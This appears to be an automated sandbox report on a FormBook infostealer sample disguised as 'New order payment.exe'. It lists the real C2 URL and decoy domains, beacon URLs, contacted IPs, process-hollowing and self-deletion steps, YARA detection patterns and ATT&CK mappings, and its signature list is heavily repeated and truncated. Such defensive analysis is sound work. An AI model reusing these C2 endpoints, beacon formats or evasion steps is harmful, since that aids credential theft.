
ID: 510241
Sample Name: New order
payment.exe
Cookbook: default.jbs
Time: 16:18:06
Date: 27/10/2021
Version: 33.0.0 White Diamond
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Windows Analysis Report New order payment.exe

Overview

General Information

Sample 
Name:

New order payment.exe

Analysis ID: 510241

MD5: 0c301355b11c3b…

SHA1: b35295390555e6…

SHA256: 77abd0b0f20b0ca…

Tags: exe formbook

Infos:

Most interesting Screenshot:

Detection

FormBookFormBook

Score: 100

Range: 0 - 100

Whitelisted: false

Confidence: 100%

Signatures

Found malware configuration

Found malware configuration

Found malware configuration

Found malware configuration

Found malware configuration

Found malware configuration

Found malware configurationFound malware configuration

Snort IDS alert for network traffic (e.

Snort IDS alert for network traffic (e.

Snort IDS alert for network traffic (e.

Snort IDS alert for network traffic (e.

Snort IDS alert for network traffic (e.

Snort IDS alert for network traffic (e.

Snort IDS alert for network traffic (e.Snort IDS alert for network traffic (e.……

Yara detected FormBook

Yara detected FormBook

Yara detected FormBook

Yara detected FormBook

Yara detected FormBook

Yara detected FormBook

Yara detected FormBookYara detected FormBook

Malicious sample detected (through 

Malicious sample detected (through 

Malicious sample detected (through 

Malicious sample detected (through 

Malicious sample detected (through 

Malicious sample detected (through 

Malicious sample detected (through Malicious sample detected (through ……

System process connects to networ

System process connects to networ

System process connects to networ

System process connects to networ

System process connects to networ

System process connects to networ

System process connects to networSystem process connects to networ……

Antivirus detection for URL or domain

Antivirus detection for URL or domain

Antivirus detection for URL or domain

Antivirus detection for URL or domain

Antivirus detection for URL or domain

Antivirus detection for URL or domain

Antivirus detection for URL or domainAntivirus detection for URL or domain

Sigma detected: Suspect Svchost A

Sigma detected: Suspect Svchost A

Sigma detected: Suspect Svchost A

Sigma detected: Suspect Svchost A

Sigma detected: Suspect Svchost A

Sigma detected: Suspect Svchost A

Sigma detected: Suspect Svchost ASigma detected: Suspect Svchost A……

Sample uses process hollowing tech

Sample uses process hollowing tech

Sample uses process hollowing tech

Sample uses process hollowing tech

Sample uses process hollowing tech

Sample uses process hollowing tech

Sample uses process hollowing techSample uses process hollowing tech……

Maps a DLL or memory area into an

Maps a DLL or memory area into an

Maps a DLL or memory area into an

Maps a DLL or memory area into an

Maps a DLL or memory area into an

Maps a DLL or memory area into an

Maps a DLL or memory area into anMaps a DLL or memory area into an……

Initial sample is a PE file and has a 

Initial sample is a PE file and has a 

Initial sample is a PE file and has a 

Initial sample is a PE file and has a 

Initial sample is a PE file and has a 

Initial sample is a PE file and has a 

Initial sample is a PE file and has a Initial sample is a PE file and has a ……

Machine Learning detection for samp

Machine Learning detection for samp

Machine Learning detection for samp

Machine Learning detection for samp

Machine Learning detection for samp

Machine Learning detection for samp

Machine Learning detection for sampMachine Learning detection for samp……

Performs DNS queries to domains w

Performs DNS queries to domains w

Performs DNS queries to domains w

Performs DNS queries to domains w

Performs DNS queries to domains w

Performs DNS queries to domains w

Performs DNS queries to domains wPerforms DNS queries to domains w……

Self deletion via cmd delete

Self deletion via cmd delete

Self deletion via cmd delete

Self deletion via cmd delete

Self deletion via cmd delete

Self deletion via cmd delete

Self deletion via cmd deleteSelf deletion via cmd delete

Injects a PE file into a foreign proce

Injects a PE file into a foreign proce

Injects a PE file into a foreign proce

Injects a PE file into a foreign proce

Injects a PE file into a foreign proce

Injects a PE file into a foreign proce

Injects a PE file into a foreign proceInjects a PE file into a foreign proce……

Sigma detected: Suspicious Svchos

Sigma detected: Suspicious Svchos

Sigma detected: Suspicious Svchos

Sigma detected: Suspicious Svchos

Sigma detected: Suspicious Svchos

Sigma detected: Suspicious Svchos

Sigma detected: Suspicious SvchosSigma detected: Suspicious Svchos……

Queues an APC in another process 

Queues an APC in another process 

Queues an APC in another process 

Queues an APC in another process 

Queues an APC in another process 

Queues an APC in another process 

Queues an APC in another process Queues an APC in another process ……

Tries to detect virtualization through

Tries to detect virtualization through

Tries to detect virtualization through

Tries to detect virtualization through

Tries to detect virtualization through

Tries to detect virtualization through

Tries to detect virtualization throughTries to detect virtualization through……

Modifies the context of a thread in a

Modifies the context of a thread in a

Modifies the context of a thread in a

Modifies the context of a thread in a

Modifies the context of a thread in a

Modifies the context of a thread in a

Modifies the context of a thread in aModifies the context of a thread in a……

Executable has a suspicious name (

Executable has a suspicious name (

Executable has a suspicious name (

Executable has a suspicious name (

Executable has a suspicious name (

Executable has a suspicious name (

Executable has a suspicious name (Executable has a suspicious name (……

C2 URLs / IPs found in malware con

C2 URLs / IPs found in malware con

C2 URLs / IPs found in malware con

C2 URLs / IPs found in malware con

C2 URLs / IPs found in malware con

C2 URLs / IPs found in malware con

C2 URLs / IPs found in malware conC2 URLs / IPs found in malware con……

Uses 32bit PE files

Uses 32bit PE files

Uses 32bit PE files

Uses 32bit PE files

Uses 32bit PE files

Uses 32bit PE files

Uses 32bit PE filesUses 32bit PE files

Yara signature match

Yara signature match

Yara signature match

Yara signature match

Yara signature match

Yara signature match

Yara signature matchYara signature match

Antivirus or Machine Learning detec

Antivirus or Machine Learning detec

Antivirus or Machine Learning detec

Antivirus or Machine Learning detec

Antivirus or Machine Learning detec

Antivirus or Machine Learning detec

Antivirus or Machine Learning detecAntivirus or Machine Learning detec……

May sleep (evasive loops) to hinder 

May sleep (evasive loops) to hinder 

May sleep (evasive loops) to hinder 

May sleep (evasive loops) to hinder 

May sleep (evasive loops) to hinder 

May sleep (evasive loops) to hinder 

May sleep (evasive loops) to hinder May sleep (evasive loops) to hinder ……

Contains functionality to shutdown / 

Contains functionality to shutdown / 

Contains functionality to shutdown / 

Contains functionality to shutdown / 

Contains functionality to shutdown / 

Contains functionality to shutdown / 

Contains functionality to shutdown / Contains functionality to shutdown / ……

Uses code obfuscation techniques (

Uses code obfuscation techniques (

Uses code obfuscation techniques (

Uses code obfuscation techniques (

Uses code obfuscation techniques (

Uses code obfuscation techniques (

Uses code obfuscation techniques (Uses code obfuscation techniques (……

Internet Provider seen in connection

Internet Provider seen in connection

Internet Provider seen in connection

Internet Provider seen in connection

Internet Provider seen in connection

Internet Provider seen in connection

Internet Provider seen in connectionInternet Provider seen in connection……

Detected potential crypto function

Detected potential crypto function

Detected potential crypto function

Detected potential crypto function

Detected potential crypto function

Detected potential crypto function

Detected potential crypto functionDetected potential crypto function

Found potential string decryption / a

Found potential string decryption / a

Found potential string decryption / a

Found potential string decryption / a

Found potential string decryption / a

Found potential string decryption / a

Found potential string decryption / aFound potential string decryption / a……

Sample execution stops while proce

Sample execution stops while proce

Sample execution stops while proce

Sample execution stops while proce

Sample execution stops while proce

Sample execution stops while proce

Sample execution stops while proceSample execution stops while proce……

Contains functionality to call native f

Contains functionality to call native f

Contains functionality to call native f

Contains functionality to call native f

Contains functionality to call native f

Contains functionality to call native f

Contains functionality to call native fContains functionality to call native f……

HTTP GET or POST without a user 

HTTP GET or POST without a user 

HTTP GET or POST without a user 

HTTP GET or POST without a user 

HTTP GET or POST without a user 

HTTP GET or POST without a user 

HTTP GET or POST without a user HTTP GET or POST without a user ……

Contains functionality which may be

Contains functionality which may be

Contains functionality which may be

Contains functionality which may be

Contains functionality which may be

Contains functionality which may be

Contains functionality which may beContains functionality which may be……

IP address seen in connection with o

IP address seen in connection with o

IP address seen in connection with o

IP address seen in connection with o

IP address seen in connection with o

IP address seen in connection with o

IP address seen in connection with oIP address seen in connection with o……

Contains functionality for execution 

Contains functionality for execution 

Contains functionality for execution 

Contains functionality for execution 

Contains functionality for execution 

Contains functionality for execution 

Contains functionality for execution Contains functionality for execution ……

Enables debug privileges

Enables debug privileges

Enables debug privileges

Enables debug privileges

Enables debug privileges

Enables debug privileges

Enables debug privilegesEnables debug privileges

Creates a DirectInput object (often fo

Creates a DirectInput object (often fo

Creates a DirectInput object (often fo

Creates a DirectInput object (often fo

Creates a DirectInput object (often fo

Creates a DirectInput object (often fo

Creates a DirectInput object (often foCreates a DirectInput object (often fo……

Found inlined nop instructions (likely

Found inlined nop instructions (likely

Found inlined nop instructions (likely

Found inlined nop instructions (likely

Found inlined nop instructions (likely

Found inlined nop instructions (likely

Found inlined nop instructions (likelyFound inlined nop instructions (likely……

Sample file is different than original 

Sample file is different than original 

Sample file is different than original 

Sample file is different than original 

Sample file is different than original 

Sample file is different than original 

Sample file is different than original Sample file is different than original ……

Drops PE files

Drops PE files

Drops PE files

Drops PE files

Drops PE files

Drops PE files

Drops PE filesDrops PE files

Contains functionality to read the PEB

Contains functionality to read the PEB

Contains functionality to read the PEB

Contains functionality to read the PEB

Contains functionality to read the PEB

Contains functionality to read the PEB

Contains functionality to read the PEBContains functionality to read the PEB

Checks if the current process is bein

Checks if the current process is bein

Checks if the current process is bein

Checks if the current process is bein

Checks if the current process is bein

Checks if the current process is bein

Checks if the current process is beinChecks if the current process is bein……

Creates a process in suspended mo

Creates a process in suspended mo

Creates a process in suspended mo

Creates a process in suspended mo

Creates a process in suspended mo

Creates a process in suspended mo

Creates a process in suspended moCreates a process in suspended mo……

Classification

Ransomware

Spreading

Phishing

Banker

Trojan / Bot

Adware

Spyware

Exploiter

Evader

Miner

clean

clean

clean

clean

clean

clean

clean

suspicious

suspicious

suspicious

suspicious

suspicious

suspicious

suspicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

System is w10x64

New order payment.exe (PID: 4912 cmdline: 'C:\Users\user\Desktop\New order payment.exe'  MD5: 0C301355B11C3BC570D18B02BB7C99D8)

New order payment.exe (PID: 2372 cmdline: 'C:\Users\user\Desktop\New order payment.exe'  MD5: 0C301355B11C3BC570D18B02BB7C99D8)

explorer.exe (PID: 3472 cmdline: C:\Windows\Explorer.EXE MD5: AD5296B280E8F522A8A897C96BAB0E1D)

svchost.exe (PID: 2600 cmdline: C:\Windows\SysWOW64\svchost.exe MD5: FA6C268A5B5BDA067A901764D203D433)

cmd.exe (PID: 6196 cmdline: /c del 'C:\Users\user\Desktop\New order payment.exe' MD5: F3BDBE3BB6F734E357235F4D5898582D)

conhost.exe (PID: 6204 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

cleanup

Process Tree

Malware Configuration

Threatname: FormBook
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{

  "C2 list": [

    "www.crisisinterventionadvocates.com/u9xn/"

  ],

  "decoy": [

    "lifeguardingcoursenearme.com",

    "bolsaspapelcdmx.com",

    "parsleypkllqu.xyz",

    "68134.online",

    "shopthatlookboutique.com",

    "canlibahisportal.com",

    "oligopoly.city",

    "srchwithus.online",

    "151motors.com",

    "17yue.info",

    "auntmarysnj.com",

    "hanansalman.com",

    "heyunshangcheng.info",

    "doorslamersplus.com",

    "sfcn-dng.com",

    "highvizpeople.com",

    "seoexpertinbangladesh.com",

    "christinegagnonjewellery.com",

    "artifactorie.biz",

    "mre3.net",

    "webbyteanalysis.online",

    "medicmir.store",

    "shdxh.com",

    "salvationshippingsecurity.com",

    "michita.xyz",

    "itskosi.com",

    "aligncoachingconsulting.com",

    "cryptorickclub.art",

    "cyliamartisbackup.com",

    "ttemola.com",

    "mujeresenfarmalatam.com",

    "mykombuchafactory.com",

    "irasutoya-ryou.com",

    "envtmyouliqy.mobi",

    "expert-rse.com",

    "oddanimalsink.com",

    "piezoelectricenergy.com",

    "itservices-india.com",

    "wintwiin.com",

    "umgaleloacademy.com",

    "everythangbutwhite.com",

    "ishhs.xyz",

    "brandsofcannabis.com",

    "sculptingstones.com",

    "hilldetailingllc.com",

    "stone-project.net",

    "rbrituelbeaute.com",

    "atzoom.store",

    "pronogtiki.store",

    "baybeg.com",

    "b148tlrfee9evtvorgm5947.com",

    "msjanej.com",

    "western-overseas.info",

    "sharpecommunications.com",

    "atlantahomesforcarguys.com",

    "neosudo.com",

    "blulacedefense.com",

    "profilecolombia.com",

    "blacksaltspain.com",

    "sejiw3.xyz",

    "saint444.com",

    "getoken.net",

    "joycegsy.com",

    "fezora.xyz"

  ]

}

Source Rule Description Author Strings

00000001.00000000.242280260.0000000000400000.00000
040.00000001.sdmp

JoeSecurity_FormBook Yara detected 
FormBook

Joe Security

Yara Overview

Memory Dumps

Copyright Joe Security LLC 2021 Page 5 of 30



00000001.00000000.242280260.0000000000400000.00000
040.00000001.sdmp

Formbook_1 autogenerated rule 
brought to you by 
yara-signator

Felix Bilstein - 
yara-signator at 
cocacoding dot 
com

0x8608:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
0x8992:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
0x146a5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25
74 94
0x14191:$sequence_2: 3B 4F 14 73 95 85 C9 74 91
0x147a7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F
0x1491f:$sequence_4: 5D C3 8D 50 7C 80 FA 07
0x93aa:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 
83 E3 0F C1 EA 06
0x1340c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
0xa122:$sequence_7: 66 89 0C 02 5B 8B E5 5D
0x19b97:$sequence_8: 3C 54 74 04 3C 74 75 F4
0x1ac3a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE 
FF FF 6A 00

00000001.00000000.242280260.0000000000400000.00000
040.00000001.sdmp

Formbook detect Formbook in 
memory

JPCERT/CC 
Incident Response 
Group

0x16ac9:$sqlite3step: 68 34 1C 7B E1
0x16bdc:$sqlite3step: 68 34 1C 7B E1
0x16af8:$sqlite3text: 68 38 2A 90 C5
0x16c1d:$sqlite3text: 68 38 2A 90 C5
0x16b0b:$sqlite3blob: 68 53 D8 7F 8C
0x16c33:$sqlite3blob: 68 53 D8 7F 8C

00000001.00000002.299937698.00000000008B
0000.00000040.00020000.sdmp

JoeSecurity_FormBook Yara detected 
FormBook

Joe Security

00000001.00000002.299937698.00000000008B
0000.00000040.00020000.sdmp

Formbook_1 autogenerated rule 
brought to you by 
yara-signator

Felix Bilstein - 
yara-signator at 
cocacoding dot 
com

0x8608:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
0x8992:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
0x146a5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25
74 94
0x14191:$sequence_2: 3B 4F 14 73 95 85 C9 74 91
0x147a7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F
0x1491f:$sequence_4: 5D C3 8D 50 7C 80 FA 07
0x93aa:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 
83 E3 0F C1 EA 06
0x1340c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
0xa122:$sequence_7: 66 89 0C 02 5B 8B E5 5D
0x19b97:$sequence_8: 3C 54 74 04 3C 74 75 F4
0x1ac3a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE 
FF FF 6A 00

Click to see the 31 entries

Source Rule Description Author Strings

Source Rule Description Author Strings

1.2.New order payment.exe.400000.0.unpack JoeSecurity_FormBook Yara detected 
FormBook

Joe Security

1.2.New order payment.exe.400000.0.unpack Formbook_1 autogenerated rule 
brought to you by 
yara-signator

Felix Bilstein - 
yara-signator at 
cocacoding dot 
com

0x7808:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
0x7b92:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
0x138a5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25
74 94
0x13391:$sequence_2: 3B 4F 14 73 95 85 C9 74 91
0x139a7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F
0x13b1f:$sequence_4: 5D C3 8D 50 7C 80 FA 07
0x85aa:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 
83 E3 0F C1 EA 06
0x1260c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
0x9322:$sequence_7: 66 89 0C 02 5B 8B E5 5D
0x18d97:$sequence_8: 3C 54 74 04 3C 74 75 F4
0x19e3a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE 
FF FF 6A 00

1.2.New order payment.exe.400000.0.unpack Formbook detect Formbook in 
memory

JPCERT/CC 
Incident Response 
Group

0x15cc9:$sqlite3step: 68 34 1C 7B E1
0x15ddc:$sqlite3step: 68 34 1C 7B E1
0x15cf8:$sqlite3text: 68 38 2A 90 C5
0x15e1d:$sqlite3text: 68 38 2A 90 C5
0x15d0b:$sqlite3blob: 68 53 D8 7F 8C
0x15e33:$sqlite3blob: 68 53 D8 7F 8C

1.0.New order payment.exe.400000.6.unpack JoeSecurity_FormBook Yara detected 
FormBook

Joe Security

1.0.New order payment.exe.400000.6.unpack Formbook_1 autogenerated rule 
brought to you by 
yara-signator

Felix Bilstein - 
yara-signator at 
cocacoding dot 
com

0x7808:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
0x7b92:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
0x138a5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25
74 94
0x13391:$sequence_2: 3B 4F 14 73 95 85 C9 74 91
0x139a7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F
0x13b1f:$sequence_4: 5D C3 8D 50 7C 80 FA 07
0x85aa:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 
83 E3 0F C1 EA 06
0x1260c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
0x9322:$sequence_7: 66 89 0C 02 5B 8B E5 5D
0x18d97:$sequence_8: 3C 54 74 04 3C 74 75 F4
0x19e3a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE 
FF FF 6A 00

Click to see the 28 entries

Unpacked PEs
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Sigma Overview

System Summary:

Sigma detected: Suspect Svchost Activity

Sigma detected: Suspicious Svchost Process

Sigma detected: Windows Processes Suspicious Parent Directory

Jbx Signature Overview

Click to jump to signature section

AV Detection:

Found malware configuration

Yara detected FormBook

Antivirus detection for URL or domain

Machine Learning detection for sample

Networking:

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

System process connects to network (likely due to code injection or exploit)

Performs DNS queries to domains with low reputation

C2 URLs / IPs found in malware configuration

E-Banking Fraud:

Yara detected FormBook

System Summary:

Malicious sample detected (through community Yara rule)

Initial sample is a PE file and has a suspicious name

Executable has a suspicious name (potential lure to open the executable)

Hooking and other Techniques for Hiding and Protection:

Self deletion via cmd delete

Malware Analysis System Evasion:

Tries to detect virtualization through RDTSC time measurements

HIPS / PFW / Operating System Protection Evasion:

System process connects to network (likely due to code injection or exploit)

Sample uses process hollowing technique

Maps a DLL or memory area into another process

Injects a PE file into a foreign processes

Copyright Joe Security LLC 2021 Page 7 of 30



Queues an APC in another process (thread injection)

Modifies the context of a thread in another process (thread injection)

Stealing of Sensitive Information:

Yara detected FormBook

Remote Access Functionality:

Yara detected FormBook

Mitre Att&ck Matrix

Initial
Access Execution Persistence

Privilege
Escalation Defense Evasion

Credential
Access Discovery

Lateral
Movement Collection Exfiltration

Command
and Control

Network
Effects

Valid
Accounts

Shared
Modules 1

Path
Interception

Process
Injection 6 1 2

Virtualization/Sandbox
Evasion 2

Input
Capture 1

Security Software
Discovery 1 3 1

Remote
Services

Input
Capture 1

Exfiltration
Over Other
Network
Medium

Encrypted
Channel 1

Eavesdrop on
Insecure
Network
Communication

Default
Accounts

Scheduled
Task/Job

Boot or
Logon
Initialization
Scripts

Boot or Logon
Initialization
Scripts

Process
Injection 6 1 2

LSASS
Memory

Virtualization/Sandbox
Evasion 2

Remote
Desktop
Protocol

Archive
Collected
Data 1

Exfiltration
Over
Bluetooth

Ingress Tool
Transfer 3

Exploit SS7 to
Redirect Phone
Calls/SMS

Domain
Accounts

At (Linux) Logon Script
(Windows)

Logon Script
(Windows)

Deobfuscate/Decode
Files or Information 1

Security
Account
Manager

Process Discovery 2 SMB/Windows
Admin Shares

Clipboard
Data 1

Automated
Exfiltration

Non-
Application
Layer
Protocol 3

Exploit SS7 to
Track Device
Location

Local
Accounts

At
(Windows)

Logon Script
(Mac)

Logon Script
(Mac)

Obfuscated Files or
Information 3

NTDS Remote System
Discovery 1

Distributed
Component
Object Model

Input
Capture

Scheduled
Transfer

Application
Layer
Protocol 1 3

SIM Card
Swap

Cloud
Accounts

Cron Network
Logon Script

Network Logon
Script

Software Packing 1 LSA
Secrets

File and Directory
Discovery 2

SSH Keylogging Data
Transfer
Size Limits

Fallback
Channels

Manipulate
Device
Communication

Replication
Through
Removable
Media

Launchd Rc.common Rc.common File Deletion 1 Cached
Domain
Credentials

System Information
Discovery 1 3

VNC GUI Input
Capture

Exfiltration
Over C2
Channel

Multiband
Communication

Jamming or
Denial of
Service

Behavior Graph
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Behavior Graph

ID: 510241

Sample: New order payment.exe

Startdate: 27/10/2021

Architecture: WINDOWS

Score: 100

www.rbrituelbeaute.com www.pronogtiki.store 3 other IPs or domains

Snort IDS alert for
network traffic (e.g.

based on Emerging Threat
rules)

Found malware configuration
Malicious sample detected
(through community Yara

rule)
9 other signatures

New order payment.exe

17

        started       

C:\Users\user\AppData\Local\...\fsfowpfjd.dll, PE32

dropped

Injects a PE file into
a foreign processes

New order payment.exe

        started       

Modifies the context
of a thread in another

process (thread injection)

Maps a DLL or memory
area into another process

Sample uses process
hollowing technique

Queues an APC in another
process (thread injection)

explorer.exe

injected

srchwithus.online

137.184.31.35, 49792, 80

PANDGUS

United States

salvationshippingsecurity.com

51.210.240.92, 49755, 80

OVHFR

France

13 other IPs or domains

System process connects
to network (likely due
to code injection or

exploit)

Performs DNS queries
to domains with low

reputation

svchost.exe

        started       

Self deletion via cmd
delete

Modifies the context
of a thread in another

process (thread injection)

Maps a DLL or memory
area into another process

Tries to detect virtualization
through RDTSC time measurements

cmd.exe

1

        started       

conhost.exe

        started       

Legend:

Process

Signature

Created File

DNS/IP Info

Is Dropped

Is Windows Process

Number of created Registry Values

Number of created Files

Visual Basic

Delphi

Java

.Net C# or VB.NET

C, C++ or other language

Is malicious

Internet

Hide Legend

Thumbnails
This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Screenshots
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Source Detection Scanner Label Link

New order payment.exe 100% Joe Sandbox ML

No Antivirus matches

Source Detection Scanner Label Link Download

1.0.New order payment.exe.400000.3.unpack 100% Avira TR/Patched.Ren.Gen2 Download File

1.0.New order payment.exe.400000.0.unpack 100% Avira TR/Patched.Ren.Gen2 Download File

1.2.New order payment.exe.400000.0.unpack 100% Avira TR/Crypt.ZPACK.Gen Download File

1.0.New order payment.exe.400000.2.unpack 100% Avira TR/Patched.Ren.Gen2 Download File

1.0.New order payment.exe.400000.6.unpack 100% Avira TR/Crypt.ZPACK.Gen Download File

0.0.New order payment.exe.400000.0.unpack 100% Avira HEUR/AGEN.1130366 Download File

14.2.svchost.exe.3015000.1.unpack 100% Avira TR/Patched.Ren.Gen Download File

1.0.New order payment.exe.400000.1.unpack 100% Avira TR/Patched.Ren.Gen2 Download File

1.1.New order payment.exe.400000.0.unpack 100% Avira TR/Crypt.ZPACK.Gen Download File

0.2.New order payment.exe.400000.0.unpack 100% Avira HEUR/AGEN.1130366 Download File

1.0.New order payment.exe.400000.4.unpack 100% Avira TR/Crypt.ZPACK.Gen Download File

1.0.New order payment.exe.400000.5.unpack 100% Avira TR/Crypt.ZPACK.Gen Download File

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files
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14.2.svchost.exe.3d3796c.4.unpack 100% Avira TR/Patched.Ren.Gen Download File

0.2.New order payment.exe.f020000.2.unpack 100% Avira TR/Crypt.ZPACK.Gen Download File

Source Detection Scanner Label Link Download

No Antivirus matches

Source Detection Scanner Label Link

www.crisisinterventionadvocates.com/u9xn/ 0% Avira URL Cloud safe

181ue.com/sq.html?entry= 0% Avira URL Cloud safe

www.sejiw3.xyz/u9xn/?
EvGDLnJ=Mi491nAN/W8j69kCQou8To2ktmeGxZt9RYONiJPW2rEgEezOpzjOfOleU2kzp5ym9Hqq&5j=0
BKPgh7X4n

100% Avira URL Cloud phishing

www.hanansalman.com/u9xn/?
EvGDLnJ=FQ+FDzcRNFqTHDas5QzX/ZxEACq3iyWpSRLff56TNweY9Uo4XxUeKhcbnwpchSkctfqz&5j=
0BKPgh7X4n

0% Avira URL Cloud safe

www.srchwithus.online/u9xn/?
EvGDLnJ=Js+sgmRaIVUq7qFzsJAJ+9AXXLZC0X79cc7qqoZBkLaFxYs1smoq8VOLmQUttipLhfLz&5j=0
BKPgh7X4n

0% Avira URL Cloud safe

www.itskosi.com/u9xn/?
EvGDLnJ=Q2BOOCh2YmRGzHBLpF4ZGgsAfzPJKYPCPJSLTy3o+TqCnIZHYQwJa/p1Zgpwk24Ey+uX
&5j=0BKPgh7X4n

0% Avira URL Cloud safe

www.salvationshippingsecurity.com/u9xn/?
EvGDLnJ=eYxsMd5wljUn1Fg6115NyaMNAPOWoN8Xbg1oh/XArMcWaLbikdCkMKkIXUVVkDc1SuQ5&5
j=0BKPgh7X4n

0% Avira URL Cloud safe

www.heyunshangcheng.info/u9xn/?
EvGDLnJ=RrR08BH4oIo+gx361vOF46QRRg434M3aJQMobyGncW6ZpM1n/iVBy8ajhiKV3UdnqaZn&5j=
0BKPgh7X4n

0% Avira URL Cloud safe

www.crisisinterventionadvocates.com/u9xn/?
EvGDLnJ=LAjf/xx2BjlKOSx2Nw0FybGnOLdFfrA16q3xOuIsu5dbrvvju1demR4HH9h71lmoA2bo&5j=0BKP
gh7X4n

0% Avira URL Cloud safe

Name IP Active Malicious Antivirus Detection Reputation

srchwithus.online 137.184.31.35 true true unknown

www.itskosi.com 3.67.234.155 true true unknown

www.sejiw3.xyz 35.241.55.103 true false unknown

www.crisisinterventionadvocates.com 74.208.236.134 true true unknown

salvationshippingsecurity.com 51.210.240.92 true true unknown

heyunshangcheng.info 34.102.136.180 true false unknown

hanansalman.com 160.153.136.3 true true unknown

dolphin-render-ce5083-1529577379-
1289163597.eu-west-1.elb.amazonaws.com

52.210.179.84 true false high

www.pronogtiki.store 5.101.153.216 true false unknown

www.hanansalman.com unknown unknown true unknown

www.rbrituelbeaute.com unknown unknown true unknown

www.srchwithus.online unknown unknown true unknown

www.heyunshangcheng.info unknown unknown true unknown

www.christinegagnonjewellery.com unknown unknown true unknown

www.mykombuchafactory.com unknown unknown true unknown

www.salvationshippingsecurity.com unknown unknown true unknown

www.sfcn-dng.com unknown unknown true unknown

www.umgaleloacademy.com unknown unknown true unknown

Name Malicious Antivirus Detection Reputation

www.crisisinterventionadvocates.com/u9xn/ true Avira URL Cloud: safe low

www.sejiw3.xyz/u9xn/?
EvGDLnJ=Mi491nAN/W8j69kCQou8To2ktmeGxZt9RYONiJPW2rEgEezOpzjOfOleU2kzp5ym
9Hqq&5j=0BKPgh7X4n

false Avira URL Cloud: phishing unknown

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs
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General Information

Joe Sandbox Version: 33.0.0 White Diamond

Analysis ID: 510241

Start date: 27.10.2021

Start time: 16:18:06

Joe Sandbox Product: CloudBasic

Overall analysis duration: 0h 9m 3s

Hypervisor based Inspection enabled: false

Report type: light

Sample file name: New order payment.exe

Cookbook file name: default.jbs

Analysis system description: Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211

Number of analysed new started processes 
analysed:

26

Number of new started drivers analysed: 0

Number of existing processes analysed: 0

Number of existing drivers analysed: 0

Number of injected processes analysed: 1

Technologies: HCA enabled
EGA enabled
HDC enabled
AMSI enabled

Analysis Mode: default

Analysis stop reason: Timeout

Detection: MAL

Classification: mal100.troj.evad.winEXE@7/2@13/7

www.hanansalman.com/u9xn/?
EvGDLnJ=FQ+FDzcRNFqTHDas5QzX/ZxEACq3iyWpSRLff56TNweY9Uo4XxUeKhcbnwpchS
kctfqz&5j=0BKPgh7X4n

true Avira URL Cloud: safe unknown

www.srchwithus.online/u9xn/?
EvGDLnJ=Js+sgmRaIVUq7qFzsJAJ+9AXXLZC0X79cc7qqoZBkLaFxYs1smoq8VOLmQUttipL
hfLz&5j=0BKPgh7X4n

true Avira URL Cloud: safe unknown

www.itskosi.com/u9xn/?
EvGDLnJ=Q2BOOCh2YmRGzHBLpF4ZGgsAfzPJKYPCPJSLTy3o+TqCnIZHYQwJa/p1Zgpw
k24Ey+uX&5j=0BKPgh7X4n

true Avira URL Cloud: safe unknown

www.salvationshippingsecurity.com/u9xn/?
EvGDLnJ=eYxsMd5wljUn1Fg6115NyaMNAPOWoN8Xbg1oh/XArMcWaLbikdCkMKkIXUVVkD
c1SuQ5&5j=0BKPgh7X4n

true Avira URL Cloud: safe unknown

www.heyunshangcheng.info/u9xn/?
EvGDLnJ=RrR08BH4oIo+gx361vOF46QRRg434M3aJQMobyGncW6ZpM1n/iVBy8ajhiKV3Ud
nqaZn&5j=0BKPgh7X4n

false Avira URL Cloud: safe unknown

www.crisisinterventionadvocates.com/u9xn/?
EvGDLnJ=LAjf/xx2BjlKOSx2Nw0FybGnOLdFfrA16q3xOuIsu5dbrvvju1demR4HH9h71lmoA2b
o&5j=0BKPgh7X4n

true Avira URL Cloud: safe unknown

Name Malicious Antivirus Detection Reputation

IP Domain Country Flag ASN ASN Name Malicious

3.67.234.155 www.itskosi.com United States 16509 AMAZON-02US true

35.241.55.103 www.sejiw3.xyz United States 15169 GOOGLEUS false

137.184.31.35 srchwithus.online United States 11003 PANDGUS true

160.153.136.3 hanansalman.com United States 21501 GODADDY-AMSDE true

34.102.136.180 heyunshangcheng.info United States 15169 GOOGLEUS false

51.210.240.92 salvationshippingsecurity.c
om

France 16276 OVHFR true

74.208.236.134 www.crisisinterventionadvo
cates.com

United States 8560 ONEANDONE-
ASBrauerstrasse48DE

true

URLs from Memory and Binaries

Contacted IPs

Public
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EGA Information: Failed

HDC Information: Successful, ratio: 25.3% (good quality ratio 22.9%)
Quality average: 74.1%
Quality standard deviation: 31.5%

HCA Information: Successful, ratio: 86%
Number of executed functions: 0
